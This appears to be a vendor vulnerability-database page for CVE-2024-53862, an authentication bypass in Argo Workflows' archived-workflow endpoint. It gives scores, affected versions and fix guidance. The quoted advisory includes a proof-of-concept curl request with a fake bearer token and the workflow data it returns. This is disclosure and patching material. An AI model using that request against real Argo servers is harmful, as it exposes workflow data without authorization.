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Which packages are affected by CVE-2024-53862?

CVE-2024-53862 affects the following packages: github.com/argoproj/argo-workflows/v3 (Go), github.com/argoproj/argo-workflows/v3 (Go). Ecosystems affected: Go.

How do I fix CVE-2024-53862?

Update github.com/argoproj/argo-workflows/v3 to 3.5.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-53862 is resolved across your whole dependency graph.

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Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2024-53862 if there is no patch (or I can't update yet)?

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What is the EPSS score for CVE-2024-53862?

CVE-2024-53862 has an EPSS (Exploit Prediction Scoring System) score of 0.7%, placing it in the 50th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2024-53862?

CVE-2024-53862 is classified as Information Exposure (CWE-200), CWE-290 (CWE-290). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2024-53862 published, and has it been updated?

CVE-2024-53862 was published on December 2, 2024 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

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Not in CISA KEV

CVE-2024-53862 — v3

Fix: argoproj/argo-workflows#13021

CVE-2024-53862 is a Information Exposure vulnerability in github.com/argoproj/argo-workflows/v3. A fix is available for github.com/argoproj/argo-workflows/v3 — see the affected versions and patch details below.

Argo Workflows Allows Access to Archived Workflows with Fake Token in `client` mode

Also known asBIT-argo-workflows-2024-53862GHSA-h36c-m3rf-34h9GO-2024-3303

Published

Dec 2, 2024

Updated

Aug 12, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-53862.

EPSS Exploitation Probability

via FIRST.org ↗

0.7%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

2 pkgs affected

🐹github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens¹. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap:

  config: |
    persistence:
      archive: true
      postgresql:
        database: argoworkflows
        host: db-host
        passwordSecret:
          key: postgresPassword
          name: argo-wf-postgres-credentials
        port: 5432
        tableName: argo_workflows
        userNameSecret:
          key: username
          name: argo-wf-postgres-credentials

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g

<details><summary>Results in a returned workflow:</summary>

* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
    "metadata": {
        "name": "hello-world-7tv5g",
        "generateName": "hello-world-",
        "namespace": "argo",
        "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
        "resourceVersion": "9982",
        "generation": 3,
        "creationTimestamp": "2024-08-13T23:59:20Z",
        "labels": {
            "workflows.argoproj.io/archive-strategy": "false",
            "workflows.argoproj.io/completed": "true",
            "workflows.argoproj.io/phase": "Succeeded",
            "workflows.argoproj.io/workflow-archiving-status": "Persisted"
        },
        "annotations": {
            "workflows.argoproj.io/description": "This is a simple hello world example.\n",
            "workflows.argoproj.io/pod-name-format": "v2"
        },
        "managedFields": [
            {
                "manager": "argo",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:20Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            ".": {},
                            "f:workflows.argoproj.io/description": {}
                        },
                        "f:generateName": {},
                        "f:labels": {
                            ".": {},
                            "f:workflows.argoproj.io/archive-strategy": {}
                        }
                    },
                    "f:spec": {}
                }
            },
            {
                "manager": "workflow-controller",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:30Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            "f:workflows.argoproj.io/pod-name-format": {}
                        },
                        "f:labels": {
                            "f:workflows.argoproj.io/completed": {},
                            "f:workflows.argoproj.io/phase": {},
                            "f:workflows.argoproj.io/workflow-archiving-status": {}
                        }
                    },
                    "f:status": {}
                }
            }
        ]
    },
    "spec": {
        "templates": [
            {
                "name": "hello-world",
                "inputs": {},
                "outputs": {},
                "metadata": {},
                "container": {
                    "name": "",
                    "image": "busybox",
                    "command": [
                        "echo"
                    ],
                    "args": [
                        "hello world"
                    ],
                    "resources": {}
                }
            }
        ],
        "entrypoint": "hello-world",
        "arguments": {},
        "serviceAccountName": "argo-workflow"
    },
    "status": {
        "phase": "Succeeded",
        "startedAt": "2024-08-13T23:59:20Z",
        "finishedAt": "2024-08-13T23:59:30Z",
        "progress": "1/1",
        "nodes": {
            "hello-world-7tv5g": {
                "id": "hello-world-7tv5g",
                "name": "hello-world-7tv5g",
                "displayName": "hello-world-7tv5g",
                "type": "Pod",
                "templateName": "hello-world",
                "templateScope": "local/hello-world-7tv5g",
                "phase": "Succeeded",
                "startedAt": "2024-08-13T23:59:20Z",
                "finishedAt": "2024-08-13T23:59:24Z",
                "progress": "1/1",
                "resourcesDuration": {
                    "cpu": 0,
                    "memory": 3
                },
                "outputs": {
                    "exitCode": "0"
                },
                "hostNodeName": "kind-control-plane"
            }
        },
        "conditions": [
            {
                "type": "PodRunning",
                "status": "False"
            },
            {
                "type": "Completed",
                "status": "True"
            }
        ],
        "resourcesDuration": {
            "cpu": 0,
            "memory": 3
        },
        "artifactRepositoryRef": {
            "default": true,
            "artifactRepository": {}
        },
        "artifactGCStatus": {
            "notSpecified": true
        },
        "taskResultsCompletionStatus": {
            "hello-world-7tv5g": true
        }
    }
}%

</details>

Impact

Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.

Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.

Footnotes

sso tokens, on the other hand, are immediately "authorized". The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the client tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for client tokens via the k8s API server. ↩

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/argoproj/argo-workflows/v3`	≥ 3.5.7&&< 3.5.13	3.5.13`go get github.com/argoproj/argo-workflows/v3@v3.5.13`
🐹Go	`github.com/argoproj/argo-workflows/v3`	≥ 3.6.0&&< 3.6.2	3.6.2`go get github.com/argoproj/argo-workflows/v3@v3.6.2`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/argoproj/argo-workflows/v3 to 3.5.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-53862 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-53862 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2024-53862. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` When using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` ### Details No authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f

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